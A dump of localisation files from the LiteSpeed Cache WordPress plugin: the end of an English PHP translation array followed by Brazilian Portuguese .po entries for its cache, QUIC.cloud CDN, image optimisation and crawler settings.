affect performance.','Invalid login cookie. Invalid characters found.'=>'Invalid login cookie. Invalid characters found.','WARNING: The .htaccess login cookie and Database login cookie do not match.'=>'WARNING: The .htaccess login cookie and Database login cookie do not match.','Invalid login cookie. Please check the %s file.'=>'Invalid login cookie. Please check the %s file.','The cache needs to distinguish who is logged into which WordPress site in order to cache correctly.'=>'The cache needs to distinguish who is logged into which WordPress site in order to cache correctly.','There is a WordPress installed for %s.'=>'There is a WordPress installed for %s.','Example use case:'=>'Example use case:','The cookie set here will be used for this WordPress installation.'=>'The cookie set here will be used for this WordPress installation.','If every web application uses the same cookie, the server may confuse whether a user is logged in or not.'=>'If every web application uses the same cookie, the server may confuse whether a user is logged in or not.','This setting is useful for those that have multiple web applications for the same domain.'=>'This setting is useful for those that have multiple web applications for the same domain.','The default login cookie is %s.'=>'The default login cookie is %s.','Login Cookie'=>'Login Cookie','More information about the available commands can be found here.'=>'More information about the available commands can be found here.','These settings are meant for ADVANCED USERS ONLY.'=>'These settings are meant for ADVANCED USERS ONLY.','Current %s Contents'=>'Current %s Contents','Advanced'=>'Advanced','Advanced Settings'=>'Advanced Settings','Purge List'=>'Purge List','Purge By...'=>'Purge By...','URL'=>'URL','Tag'=>'Tag','Post ID'=>'Post ID','Category'=>'Category','NOTICE: Database login cookie did not match your login cookie.'=>'NOTICE: Database login cookie did not match your login cookie.','Purge url %s'=>'Purge URL %s','Purge tag %s'=>'Purge tag %s','Purge category %s'=>'Purge category %s','When disabling the cache, all cached entries for this site will be purged.'=>'When disabling the cache, all cached entries for this site will be purged.','NOTICE'=>'NOTICE','This setting will edit the .htaccess file.'=>'This setting will edit the .htaccess file.','LiteSpeed Cache View .htaccess'=>'LiteSpeed Cache View .htaccess','Failed to back up %s file, aborted changes.'=>'Failed to back up %s file, aborted changes.','Do Not Cache Cookies'=>'Do Not Cache Cookies','Do Not Cache User Agents'=>'Do Not Cache User Agents','This is to ensure compatibility prior to enabling the cache for all sites.'=>'This is to ensure compatibility prior to enabling the cache for all sites.','Network Enable Cache'=>'Network Enable Cache','NOTICE:'=>'NOTICE:','Other checkboxes will be ignored.'=>'Other checkboxes will be ignored.','Select "All" if there are dynamic widgets linked to posts on pages other than the front or home pages.'=>'Select "All" if there are dynamic widgets linked to posts on pages other than the front or home pages.','List of Mobile User Agents'=>'List of Mobile User Agents','File %s is not writable.'=>'File %s is not writable.','JS Settings'=>'JS Settings','Manage'=>'Manage','Default Front Page TTL'=>'Default Front Page TTL','Notified LiteSpeed Web Server to purge the front page.'=>'Notified LiteSpeed Web Server to purge the front page.','Purge Front Page'=>'Purge Front Page','Example'=>'Example','All tags are cached by default.'=>'All tags are cached by default.','All categories are cached by default.'=>'All categories are cached by default.','To do an exact match, add %s to the end of the URL.'=>'To do an exact match, add %s to the end of the URL.','The URLs will be compared to the REQUEST_URI server variable.'=>'The URLs will be compared to the REQUEST_URI server variable.','Select only the archive types that are currently used, the others can be left unchecked.'=>'Select only the archive types that are currently used, the others can be left unchecked.','Notes'=>'Notes','Use Network Admin Setting'=>'Use Network Admin Setting','Disable'=>'Disable','Enabling LiteSpeed Cache for WordPress here enables the cache for the network.'=>'Enabling LiteSpeed Cache for WordPress here enables the cache for the network.','Disabled'=>'Disabled','Enabled'=>'Enabled','Do Not Cache Roles'=>'Do Not Cache Roles','https://www.litespeedtech.com'=>'https://www.litespeedtech.com','LiteSpeed Technologies'=>'LiteSpeed Technologies','LiteSpeed Cache'=>'LiteSpeed Cache','Debug Level'=>'Debug Level','Notice'=>'Notice','Term archive (include category, tag, and tax)'=>'Term archive (include category, tag, and tax)','Daily archive'=>'Daily archive','Monthly archive'=>'Monthly archive','Yearly archive'=>'Yearly archive','Post type archive'=>'Post type archive','Author archive'=>'Author archive','Home page'=>'Home page','Front page'=>'Front page','All pages'=>'All pages','Select which pages will be automatically purged when posts are published/updated.'=>'Select which pages will be automatically purged when posts are published/updated.','Auto Purge Rules For Publish/Update'=>'Auto Purge Rules For Publish/Update','Default Public Cache TTL'=>'Default Public Cache TTL','seconds'=>'seconds','Admin IPs'=>'Admin IPs','General'=>'General','LiteSpeed Cache Settings'=>'LiteSpeed Cache Settings','Notified LiteSpeed Web Server to purge all LSCache entries.'=>'Notified LiteSpeed Web Server to purge all LSCache entries.','Purge All'=>'Purge All','Settings'=>'Settings']];litespeed-wp-plugin/7.5.0.1/translations/litespeed-cache-pt_BR.po000064400000700740151031165260020364 0ustar00# Translation of Plugins - LiteSpeed Cache - Stable (latest release) in Portuguese (Brazil)
# This file is distributed under the same license as the Plugins - LiteSpeed Cache - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2025-09-11 00:40:07+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: pt_BR\n"
"Project-Id-Version: Plugins - LiteSpeed Cache - Stable (latest release)\n"

#: tpl/optimax/settings.tpl.php:34
msgid "Turn on OptimaX. This will automatically request your pages OptimaX result via cron job."
msgstr "Ativação do OptimaX. Isso fará com que suas páginas solicitem automaticamente o resultado do OptimaX através da tarefa cron."

#: tpl/optimax/entry.tpl.php:30
msgid "LiteSpeed Cache OptimaX"
msgstr "LiteSpeed Cache OptimaX"

#: tpl/optimax/entry.tpl.php:17 tpl/optimax/entry.tpl.php:22
#: tpl/optimax/settings.tpl.php:19
msgid "OptimaX Settings"
msgstr "Configurações do OptimaX"

#: tpl/optimax/entry.tpl.php:16
msgid "OptimaX Summary"
msgstr "Resumo do OptimaX"

#: tpl/img_optm/settings.tpl.php:107
msgid "Choose which image sizes to optimize."
msgstr "Escolha os tamanhos de imagens a serem otimizados."

#: tpl/img_optm/settings.tpl.php:104
msgid "No sizes found."
msgstr "Nenhum tamanho encontrado."

#: src/lang.cls.php:211
msgid "Optimize Image Sizes"
msgstr "Otimizar tamanhos de imagens"

#: src/admin-display.cls.php:251 src/lang.cls.php:269
msgid "OptimaX"
msgstr "OptimaX"

#: tpl/toolbox/settings-debug.tpl.php:48
msgid "LiteSpeed Cache is temporarily disabled until: %s."
msgstr "O LiteSpeed Cache está temporariamente desativado até: %s."

#: tpl/toolbox/settings-debug.tpl.php:44
msgid "Remove `Disable All Feature` Flag Now"
msgstr "Remover o sinalizador “Desativar todos os recursos” agora"

#: tpl/toolbox/settings-debug.tpl.php:37
msgid "Disable All Features for 24 Hours"
msgstr "Desativar todos os recursos por 24 horas"

#: tpl/toolbox/beta_test.tpl.php:42
msgid "LiteSpeed Cache is disabled. This functionality will not work."
msgstr "O LiteSpeed Cache está desativado. Esta funcionalidade não irá funcionar."

#: tpl/page_optm/settings_media.tpl.php:296
msgid "Filter %s available to change threshold."
msgstr "Filtro %s disponível para alterar o limite."

#: tpl/page_optm/settings_media.tpl.php:290
msgid "Scaled size threshold"
msgstr "Limite de tamanho em escala"

#: tpl/page_optm/settings_media.tpl.php:289
msgid "Automatically replace large images with scaled versions."
msgstr "Substituir automaticamente imagens grandes por versões em escala."

#: src/lang.cls.php:204
msgid "Auto Rescale Original Images"
msgstr "Redimensionamento automático de imagens originais"

#: src/lang.cls.php:143
msgid "UCSS Inline Excluded Files"
msgstr "Arquivos embutidos excluídos do UCSS"

#: src/error.cls.php:143
msgid "The QUIC.cloud connection is not correct. Please try to sync your QUIC.cloud connection again."
msgstr "A conexão com o QUIC.cloud não está correta. Tente sincronizar sua conexão com o QUIC.cloud novamente."

#: src/error.cls.php:120
msgid "Not enough parameters. Please check if the QUIC.cloud connection is set correctly"
msgstr "Parâmetros insuficientes. Verifique se a conexão com o QUIC.cloud está definida corretamente"

#: src/admin-settings.cls.php:40 src/admin-settings.cls.php:313
msgid "No fields"
msgstr "Nenhum campo"

#: src/admin-display.cls.php:1313
msgid "Value from filter applied"
msgstr "Valor do filtro aplicado"

#: src/admin-display.cls.php:1287
msgid "This value is overwritten by the filter."
msgstr "Este valor é substituído pelo filtro."

#: src/admin-display.cls.php:1283
msgid "This value is overwritten by the %s variable."
msgstr "Este valor é substituído pela variável %s."

#: tpl/dash/dashboard.tpl.php:425 tpl/dash/dashboard.tpl.php:843
msgid "QUIC.cloud CDN"
msgstr "CDN do QUIC.cloud"

#: tpl/page_optm/settings_tuning_css.tpl.php:38
msgid "Predefined list will also be combined with the above settings"
msgstr "A lista predefinida também será combinada com as configurações acima"

#: tpl/page_optm/settings_tuning_css.tpl.php:17
msgid "Tuning CSS Settings"
msgstr "Ajuste das configurações de CSS"

#: tpl/page_optm/settings_tuning.tpl.php:71
#: tpl/page_optm/settings_tuning.tpl.php:92
msgid "Predefined list will also be combined with the above settings."
msgstr "A lista predefinida também será combinada com as configurações acima."

#: tpl/page_optm/settings_css.tpl.php:118
#: tpl/page_optm/settings_css.tpl.php:255
#: tpl/page_optm/settings_media.tpl.php:201
#: tpl/page_optm/settings_vpi.tpl.php:66
msgid "Clear"
msgstr "Limpar"

#: tpl/inc/show_error_cookie.php:21
msgid "If not, please verify the setting in the %sAdvanced tab%s."
msgstr "Caso contrário, verifique a configuração na aba %sAvançado%s."

#: tpl/inc/modal.deactivation.php:77
msgid "Close popup"
msgstr "Fechar pop-up"

#: tpl/inc/modal.deactivation.php:76
msgid "Deactivate plugin"
msgstr "Desativar plugin"

#: tpl/inc/modal.deactivation.php:68
msgid "If you have used Image Optimization, please %sDestroy All Optimization Data%s first. NOTE: this does not remove your optimized images."
msgstr "Se você usou a otimização de imagens, primeiro %sexclua todos os dados de otimização%s. OBSERVAÇÃO: isso não remove suas imagens otimizadas."

#: tpl/inc/modal.deactivation.php:60
msgid "On uninstall, all plugin settings will be deleted."
msgstr "Ao desinstalar, todas as configurações do plugin serão excluídas."

#: tpl/inc/modal.deactivation.php:47
msgid "Why are you deactivating the plugin?"
msgstr "Por que você está desativando o plugin?"

#: tpl/inc/modal.deactivation.php:38
msgid "Other"
msgstr "Outro"

#: tpl/inc/modal.deactivation.php:33
msgid "Plugin is too complicated"
msgstr "O plugin é muito complicado"

#: tpl/inc/modal.deactivation.php:28
msgid "Site performance is worse"
msgstr "O desempenho do site está pior"

#: tpl/inc/modal.deactivation.php:22
msgid "The deactivation is temporary"
msgstr "A desativação é temporária"

#: tpl/inc/modal.deactivation.php:16
msgid "Deactivate LiteSpeed Cache"
msgstr "Desativar o LiteSpeed Cache"

#: tpl/general/online.tpl.php:138
msgid "CDN - Disabled"
msgstr "CDN - Desativada"

#: tpl/general/online.tpl.php:136
msgid "CDN - Enabled"
msgstr "CDN - Ativada"

#: tpl/general/online.tpl.php:45
msgid "Connected Date:"
msgstr "Data da conexão:"

#: tpl/general/online.tpl.php:43
msgid "Node:"
msgstr "Nó:"

#: tpl/general/online.tpl.php:41
msgid "Service:"
msgstr "Serviço:"

#: tpl/db_optm/manage.tpl.php:180
msgid "Autoload top list"
msgstr "Lista principal do carregamento automático"

#: tpl/db_optm/manage.tpl.php:176
msgid "Autoload entries"
msgstr "Entradas do carregamento automático"

#: tpl/db_optm/manage.tpl.php:175
msgid "Autoload size"
msgstr "Tamanho do carregamento automático"

#: tpl/dash/network_dash.tpl.php:109
msgid "This Month Usage: %s"
msgstr "Uso neste mês: %s"

#: tpl/dash/network_dash.tpl.php:28
msgid "Usage Statistics: %s"
msgstr "Estatísticas de uso: %s"

#: tpl/dash/dashboard.tpl.php:869
msgid "more"
msgstr "mais"

#: tpl/dash/dashboard.tpl.php:868
msgid "Globally fast TTFB, easy setup, and %s!"
msgstr "TTFB globalmente rápido, configuração fácil e %s!"

#: tpl/dash/dashboard.tpl.php:656 tpl/dash/dashboard.tpl.php:700
#: tpl/dash/dashboard.tpl.php:744 tpl/dash/dashboard.tpl.php:788
msgid "Last requested: %s"
msgstr "Última solicitação: %s"

#: tpl/dash/dashboard.tpl.php:630 tpl/dash/dashboard.tpl.php:674
#: tpl/dash/dashboard.tpl.php:718 tpl/dash/dashboard.tpl.php:762
msgid "Last generated: %s"
msgstr "Última geração: %s"

#: tpl/dash/dashboard.tpl.php:437 tpl/dash/dashboard.tpl.php:502
msgid "Requested: %s ago"
msgstr "Solicitação: %s atrás"

#: tpl/dash/dashboard.tpl.php:423
msgid "LiteSpeed Web ADC"
msgstr "LiteSpeed Web ADC"

#: tpl/dash/dashboard.tpl.php:421
msgid "OpenLiteSpeed Web Server"
msgstr "OpenLiteSpeed Web Server"

#: tpl/dash/dashboard.tpl.php:419
msgid "LiteSpeed Web Server"
msgstr "LiteSpeed Web Server"

#: tpl/dash/dashboard.tpl.php:271
msgid "PAYG used this month: %s. PAYG balance and usage not included in above quota calculation."
msgstr "PAYG usado este mês: %s. Saldo e uso do PAYG (pagamento conforme o uso), não incluídos no cálculo da cota acima."

#: tpl/dash/dashboard.tpl.php:112 tpl/dash/dashboard.tpl.php:831
msgid "Last crawled:"
msgstr "Último rastreamento:"

#: tpl/dash/dashboard.tpl.php:111 tpl/dash/dashboard.tpl.php:830
msgid "%1$s %2$d item(s)"
msgstr "%1$s %2$d itens"

#: tpl/crawler/summary.tpl.php:288
msgid "Start watching..."
msgstr "Comece a assistir…"

#: tpl/crawler/summary.tpl.php:254
msgid "Crawlers cannot run concurrently. If both the cron and a manual run start at similar times, the first to be started will take precedence."
msgstr "Os rastreadores não podem ser executados simultaneamente. Se o cron e uma execução manual forem iniciados em horários semelhantes, o primeiro a ser iniciado terá prioridade."

#: tpl/crawler/summary.tpl.php:230
msgid "Position: "
msgstr "Posição: "

#: tpl/crawler/summary.tpl.php:133
msgid "%d item(s)"
msgstr "%d itens"

#: tpl/crawler/summary.tpl.php:130
msgid "Last crawled"
msgstr "Último rastreamento"

#: tpl/cdn/qc.tpl.php:73
msgid "Serve your visitors fast"
msgstr "Atenda seus visitantes rapidamente"

#: tpl/cdn/other.tpl.php:104
msgid "This will affect all tags containing attributes: %s."
msgstr "Isso irá afetar todas as tags que contém os atributos: %s."

#: tpl/cdn/cf.tpl.php:152
msgid "%1$sLearn More%2$s"
msgstr "%1$sSaiba mais%2$s"

#: tpl/cdn/cf.tpl.php:39
msgid "Get it from %s."
msgstr "Adquira em %s."

#: src/purge.cls.php:419
msgid "Reset the OPcache failed."
msgstr "Falha ao redefinir o OPcache."

#: src/purge.cls.php:407
msgid "OPcache is restricted by %s setting."
msgstr "O OPcache está restrito pela configuração %s."

#: src/purge.cls.php:396
msgid "OPcache is not enabled."
msgstr "O OPcache não está ativado."

#: src/gui.cls.php:681
msgid "Enable All Features"
msgstr "Ativar todos os recursos"

#: tpl/toolbox/purge.tpl.php:215
msgid "e.g. Use %1$s or %2$s."
msgstr "ex.: Use %1$s ou %2$s."

#: tpl/toolbox/log_viewer.tpl.php:64 tpl/toolbox/report.tpl.php:62
msgid "Click to copy"
msgstr "Clique para copiar"

#: tpl/inc/admin_footer.php:17
msgid "Rate %1$s on %2$s"
msgstr "Classifique o %1$s no %2$s"

#: tpl/cdn/cf.tpl.php:74
msgid "Clear %s cache when \"Purge All\" is run."
msgstr "Limpar o cache do %s quando “Limpar tudo” for executado."

#: tpl/cache/settings_inc.login_cookie.tpl.php:102
msgid "SYNTAX: alphanumeric and \"_\". No spaces and case sensitive."
msgstr "SINTAXE: alfanumérico e “_”. Sem espaços e diferencia maiúsculas de minúsculas."

#: tpl/cache/settings_inc.login_cookie.tpl.php:26
msgid "SYNTAX: alphanumeric and \"_\". No spaces and case sensitive. MUST BE UNIQUE FROM OTHER WEB APPLICATIONS."
msgstr "SINTAXE: alfanumérico e “_”. Sem espaços e diferencia maiúsculas de minúsculas. DEVE SER ÚNICO EM OUTROS APLICATIVOS DA WEB."

#: tpl/banner/score.php:122
msgid "Submit a ticket"
msgstr "Enviar um ticket"

#: src/lang.cls.php:247
msgid "Clear Cloudflare cache"
msgstr "Limpar cache do Cloudflare"

#: src/cloud.cls.php:170 src/cloud.cls.php:250
msgid "QUIC.cloud's access to your WP REST API seems to be blocked."
msgstr "Parece que o acesso do QUIC.cloud à API REST do WP está bloqueado."

#: tpl/toolbox/log_viewer.tpl.php:65
msgid "Copy Log"
msgstr "Copiar registro"

#: tpl/page_optm/settings_tuning_css.tpl.php:149
msgid "Selectors must exist in the CSS. Parent classes in the HTML will not work."
msgstr "Os seletores precisam existir no CSS. As classes principais no HTML não irão funcionar."

#: tpl/page_optm/settings_tuning_css.tpl.php:142
msgid "List the CSS selectors whose styles should always be included in CCSS."
msgstr "Liste os seletores CSS, cujos estilos devem sempre ser incluídos no CCSS."

#: tpl/page_optm/settings_tuning_css.tpl.php:67
msgid "List the CSS selectors whose styles should always be included in UCSS."
msgstr "Liste os seletores CSS, cujos estilos devem sempre ser incluídos no UCSS."

#: tpl/img_optm/summary.tpl.php:77 tpl/page_optm/settings_css.tpl.php:156
#: tpl/page_optm/settings_css.tpl.php:293
#: tpl/page_optm/settings_vpi.tpl.php:101
msgid "Available after %d second(s)"
msgstr "Disponível após %d segundos"

#: tpl/dash/dashboard.tpl.php:346
msgid "Enable QUIC.cloud Services"
msgstr "Ativar os serviços do QUIC.cloud"

#: tpl/dash/dashboard.tpl.php:193
msgid "The features below are provided by %s"
msgstr "Os recursos abaixo, são fornecidos por %s"

#: tpl/dash/dashboard.tpl.php:162
msgid "Do not show this again"
msgstr "Não mostrar isso novamente"

#: tpl/dash/dashboard.tpl.php:153
msgid "Free monthly quota available. Can also be used anonymously (no email required)."
msgstr "Cota mensal gratuita disponível. Também pode ser usado anonimamente (não é necessário e-mail)."

#: tpl/cdn/cf.tpl.php:17
msgid "Cloudflare Settings"
msgstr "Configurações do Cloudflare"

#: src/tool.cls.php:44 src/tool.cls.php:55
msgid "Failed to detect IP"
msgstr "Falha ao detectar o IP"

#: src/lang.cls.php:170
msgid "CCSS Selector Allowlist"
msgstr "Lista de permissões do seletor de CCSS"

#: tpl/toolbox/settings-debug.tpl.php:82
msgid "Outputs to a series of files in the %s directory."
msgstr "Gera uma série de arquivos no diretório %s."

#: tpl/toolbox/report.tpl.php:87
msgid "Attach PHP info to report. Check this box to insert relevant data from %s."
msgstr "Anexar informações do PHP ao relatório. Marque esta caixa para inserir dados relevantes de %s."

#: tpl/toolbox/report.tpl.php:63
msgid "Last Report Date"
msgstr "Data do último relatório"

#: tpl/toolbox/report.tpl.php:62
msgid "Last Report Number"
msgstr "Número do último relatório"

#: tpl/toolbox/report.tpl.php:40
msgid "Regenerate and Send a New Report"
msgstr "Gerar novamente e enviar um novo relatório"

#: tpl/img_optm/summary.tpl.php:372
msgid "This will reset the %1$s. If you changed WebP/AVIF settings and want to generate %2$s for the previously optimized images, use this action."
msgstr "Esta ação irá redefinir a %1$s. Se você alterou as configurações de WebP/AVIF e quer gerar %2$s para as imagens otimizadas anteriormente, use esta ação."

#: tpl/img_optm/settings.media_webp.tpl.php:34 tpl/img_optm/summary.tpl.php:368
msgid "Soft Reset Optimization Counter"
msgstr "Contador de otimização de redefinição suave"

#: tpl/img_optm/settings.media_webp.tpl.php:34
msgid "When switching formats, please %1$s or %2$s to apply this new choice to previously optimized images."
msgstr "Ao alternar os formatos, %1$s ou %2$s para aplicar esta nova opção às imagens otimizadas anteriormente."

#: tpl/img_optm/settings.media_webp.tpl.php:31
msgid "%1$s is a %2$s paid feature."
msgstr "%1$s é um recurso pago %2$s."

#: tpl/general/online.tpl.php:160
msgid "Remove QUIC.cloud integration from this site. Note: QUIC.cloud data will be preserved so you can re-enable services at any time. If you want to fully remove your site from QUIC.cloud, delete the domain through the QUIC.cloud Dashboard first."
msgstr "Remova a integração do QUIC.cloud deste site. Observação: os dados do QUIC.cloud serão preservados, para que você possa reativar os serviços a qualquer momento. Se você quiser remover totalmente seu site do QUIC.cloud, exclua primeiro o domínio através do painel do QUIC.cloud."

#: tpl/general/online.tpl.php:159
msgid "Disconnect from QUIC.cloud"
msgstr "Desconectar do QUIC.cloud"

#: tpl/general/online.tpl.php:159
msgid "Are you sure you want to disconnect from QUIC.cloud? This will not remove any data from the QUIC.cloud dashboard."
msgstr "Tem certeza de que deseja se desconectar do QUIC.cloud? Isso não irá remover nenhum dado do painel do QUIC.cloud."

#: tpl/general/online.tpl.php:150
msgid "CDN - not available for anonymous users"
msgstr "CDN - não disponível para usuários anônimos"

#: tpl/general/online.tpl.php:144
msgid "Your site is connected and using QUIC.cloud Online Services as an <strong>anonymous user</strong>. The CDN function and certain features of optimization services are not available for anonymous users. Link to QUIC.cloud to use the CDN and all available Online Services features."
msgstr "Seu site está conectado e usando os serviços on-line do QUIC.cloud como um <strong>usuário anônimo</strong>. A função de CDN e determinados recursos dos serviços de otimização, não estão disponíveis para usuários anônimos. Vincule-se ao QUIC.cloud, para usar o CDN e todos os recursos disponíveis dos serviços on-line."

#: tpl/general/online.tpl.php:143
msgid "QUIC.cloud Integration Enabled with limitations"
msgstr "Integração com o QUIC.cloud ativada com limitações"

#: tpl/general/online.tpl.php:126
msgid "Your site is connected and ready to use QUIC.cloud Online Services."
msgstr "Seu site está conectado e pronto para usar os serviços on-line do QUIC.cloud."

#: tpl/general/online.tpl.php:125
msgid "QUIC.cloud Integration Enabled"
msgstr "Integração com o QUIC.cloud ativada"

#: tpl/general/online.tpl.php:114
msgid "In order to use most QUIC.cloud services, you need quota. QUIC.cloud gives you free quota every month, but if you need more, you can purchase it."
msgstr "Para usar a maioria dos serviços do QUIC.cloud, você precisa de uma cota. O QUIC.cloud oferece cota gratuita todos os meses, mas se você precisar de mais, pode comprá-la."

#: tpl/general/online.tpl.php:105
msgid "Offers optional <strong>built-in DNS service</strong> to simplify CDN onboarding."
msgstr "Oferece um <strong>serviço de DNS integrado</strong> opcional para simplificar a integração com o CDN."

#: tpl/general/online.tpl.php:104
msgid "Provides <strong>security at the CDN level</strong>, protecting your server from attack."
msgstr "Oferece <strong>segurança a nível do CDN</strong>, protegendo seu servidor contra ataques."

#: tpl/general/online.tpl.php:103
msgid "Delivers global coverage with a growing <strong>network of 80+ PoPs</strong>."
msgstr "Oferece cobertura global com uma <strong>rede crescente de mais de 80 PoPs</strong>."

#: tpl/general/online.tpl.php:102
msgid "Caches your entire site, including dynamic content and <strong>ESI blocks</strong>."
msgstr "Armazena em cache todo o seu site, inclusive o conteúdo dinâmico e os blocos <strong>ESI</strong>."

#: tpl/general/online.tpl.php:98
msgid "Content Delivery Network"
msgstr "Rede de distribuição de conteúdo (CDN)"

#: tpl/general/online.tpl.php:89
msgid "<strong>Viewport Images (VPI)</strong> provides a well-polished fully-loaded view above the fold."
msgstr "As <strong>imagens da janela de visualização (VPI)</strong> fornecem uma visualização completamente carregada e bem polida acima da dobra."

#: tpl/general/online.tpl.php:88
msgid "<strong>Low Quality Image Placeholder (LQIP)</strong> gives your imagery a more pleasing look as it lazy loads."
msgstr "O <strong>Espaço reservado para imagens de baixa qualidade (LQIP)</strong> dá às suas imagens uma aparência mais agradável à medida que elas são carregadas tardiamente."

#: tpl/general/online.tpl.php:87
msgid "<strong>Unique CSS (UCSS)</strong> removes unused style definitions for a speedier page load overall."
msgstr "O <strong>CSS único (UCSS)</strong> remove definições de estilo não usadas, para acelerar o carregamento geral da página."

#: tpl/general/online.tpl.php:86
msgid "<strong>Critical CSS (CCSS)</strong> loads visible above-the-fold content faster and with full styling."
msgstr "O <strong>CSS crítico (CCSS)</strong> carrega o conteúdo visível acima da dobra mais rapidamente e com estilo completo."

#: tpl/general/online.tpl.php:84
msgid "QUIC.cloud's Page Optimization services address CSS bloat, and improve the user experience during page load, which can lead to improved page speed scores."
msgstr "Os serviços de otimização de páginas do QUIC.cloud corrigem o inchaço do CSS e melhoram a experiência do usuário durante o carregamento da página, o que pode levar a melhores pontuações de velocidade da página."

#: tpl/general/online.tpl.php:81
msgid "Processing for PNG, JPG, and WebP image formats is free. AVIF is available for a fee."
msgstr "O processamento dos formatos de imagem PNG, JPG e WebP é gratuito. O AVIF está disponível mediante uma taxa."

#: tpl/general/online.tpl.php:79
msgid "Optionally creates next-generation WebP or AVIF image files."
msgstr "Opcionalmente, cria arquivos de imagens WebP ou AVIF de última geração."

#: tpl/general/online.tpl.php:78
msgid "Processes your uploaded PNG and JPG images to produce smaller versions that don't sacrifice quality."
msgstr "Processa suas imagens PNG e JPG enviadas, para produzir versões menores sem sacrificar a qualidade."

#: tpl/general/online.tpl.php:76
msgid "QUIC.cloud's Image Optimization service does the following:"
msgstr "O serviço de otimização de imagens do QUIC.cloud faz o seguinte:"

#: tpl/general/online.tpl.php:72
msgid "<strong>Page Optimization</strong> streamlines page styles and visual elements for faster loading."
msgstr "A <strong>Otimização de páginas</strong> otimiza os estilos e os elementos visuais da página, para um carregamento mais rápido."

#: tpl/general/online.tpl.php:71
msgid "<strong>Image Optimization</strong> gives you smaller image file sizes that transmit faster."
msgstr "A <strong>Otimização de imagens</strong> permite tamanhos de arquivos de imagem menores, que são enviados mais rapidamente."

#: tpl/general/online.tpl.php:69
msgid "QUIC.cloud's Online Services improve your site in the following ways:"
msgstr "Os serviços on-line do QUIC.cloud melhoram seu site das seguintes maneiras:"

#: tpl/general/online.tpl.php:60
msgid "Speed up your WordPress site even further with QUIC.cloud Online Services and CDN."
msgstr "Acelere ainda mais seu site WordPress com os serviços on-line e CDN do QUIC.cloud."

#: tpl/general/online.tpl.php:59
msgid "QUIC.cloud Integration Disabled"
msgstr "Integração com o QUIC.cloud desativada"

#: tpl/general/online.tpl.php:22
msgid "QUIC.cloud Online Services"
msgstr "Serviços on-line do QUIC.cloud"

#: tpl/general/entry.tpl.php:16 tpl/general/online.tpl.php:68
msgid "Online Services"
msgstr "Serviços on-line"

#: tpl/db_optm/manage.tpl.php:186
msgid "Autoload"
msgstr "Carregamento automático"

#: tpl/dash/dashboard.tpl.php:886
msgid "Refresh QUIC.cloud status"
msgstr "Atualizar o status do QUIC.cloud"

#: tpl/dash/dashboard.tpl.php:445 tpl/dash/dashboard.tpl.php:510
msgid "Refresh"
msgstr "Atualizar"

#: tpl/dash/dashboard.tpl.php:418
msgid "You must be using one of the following products in order to measure Page Load Time:"
msgstr "Você precisa estar usando um dos seguintes produtos, para medir o tempo de carregamento da página:"

#: tpl/dash/dashboard.tpl.php:181
msgid "Refresh Usage"
msgstr "Atualizar o uso"

#: tpl/dash/dashboard.tpl.php:128 tpl/dash/dashboard.tpl.php:907
msgid "News"
msgstr "Notícias"

#: tpl/crawler/summary.tpl.php:28
msgid "You need to set the %s in Settings first before using the crawler"
msgstr "Você precisa definir o %s em “Configurações” primeiro, antes de usar o rastreador"

#: tpl/crawler/settings.tpl.php:136
msgid "You must set %1$s to %2$s before using this feature."
msgstr "Você precisa definir %1$s como %2$s antes de usar este recurso."

#: tpl/crawler/settings.tpl.php:116 tpl/crawler/summary.tpl.php:211
msgid "You must set %s before using this feature."
msgstr "Você precisa definir %s antes de usar este recurso."

#: tpl/cdn/qc.tpl.php:139 tpl/cdn/qc.tpl.php:146
msgid "My QUIC.cloud Dashboard"
msgstr "Meu painel do QUIC.cloud"

#: tpl/cdn/qc.tpl.php:130
msgid "You are currently using services as an anonymous user. To manage your QUIC.cloud options, use the button below to create an account and link to the QUIC.cloud Dashboard."
msgstr "No momento, você está usando os serviços como um usuário anônimo. Para gerenciar suas opções do QUIC.cloud, use o botão abaixo, para criar uma conta e acessar o painel do QUIC.cloud."

#: tpl/cdn/qc.tpl.php:123 tpl/cdn/qc.tpl.php:143
msgid "To manage your QUIC.cloud options, go to QUIC.cloud Dashboard."
msgstr "Para gerenciar suas opções do QUIC.cloud, acesse o painel do QUIC.cloud."

#: tpl/cdn/qc.tpl.php:119
msgid "To manage your QUIC.cloud options, please contact your hosting provider."
msgstr "Para gerenciar suas opções do QUIC.cloud, fale com seu provedor de hospedagem."

#: tpl/cdn/qc.tpl.php:117
msgid "To manage your QUIC.cloud options, go to your hosting provider's portal."
msgstr "Para gerenciar suas opções do QUIC.cloud, acesse o portal do seu provedor de hospedagem."

#: tpl/cdn/qc.tpl.php:96
msgid "QUIC.cloud CDN Options"
msgstr "Opções de CDN do QUIC.cloud"

#. translators: %s: Link tags
#: tpl/cdn/qc.tpl.php:79
msgid "Best available WordPress performance, globally fast TTFB, easy setup, and %smore%s!"
msgstr "O melhor desempenho disponível para WordPress, TTFB globalmente rápido, configuração fácil e %smuito mais%s!"

#: tpl/cdn/qc.tpl.php:73
msgid "no matter where they live."
msgstr "não importa onde moram."

#: tpl/cdn/qc.tpl.php:71
msgid "Content Delivery Network Service"
msgstr "Serviço de rede de distribuição de conteúdo (CDN)"

#: tpl/cdn/qc.tpl.php:61 tpl/dash/dashboard.tpl.php:856
msgid "Enable QUIC.cloud CDN"
msgstr "Ativar o CDN do QUIC.cloud"

#: tpl/cdn/qc.tpl.php:59
msgid "Link & Enable QUIC.cloud CDN"
msgstr "Vincular e ativar o CDN do QUIC.cloud"

#: tpl/cdn/qc.tpl.php:55
msgid "QUIC.cloud CDN is <strong>not available</strong> for anonymous (unlinked) users."
msgstr "O CDN do QUIC.cloud não está <strong>disponível</strong> para usuários anônimos (não vinculados)."

#: tpl/cdn/qc.tpl.php:53
msgid "QUIC.cloud CDN is currently <strong>fully disabled</strong>."
msgstr "No momento, o CDN do QUIC.cloud está <strong>completamente desativado</strong>."

#: tpl/cdn/qc.tpl.php:46 tpl/dash/dashboard.tpl.php:168
msgid "Learn More about QUIC.cloud"
msgstr "Saiba mais sobre o QUIC.cloud"

#: tpl/cdn/qc.tpl.php:45 tpl/dash/dashboard.tpl.php:166
#: tpl/general/online.tpl.php:26
msgid "QUIC.cloud provides CDN and online optimization services, and is not required. You may use many features of this plugin without QUIC.cloud."
msgstr "O QUIC.cloud fornece CDN e serviços de otimização on-line, e não é obrigatório. Você pode usar muitos recursos deste plugin sem o QUIC.cloud."

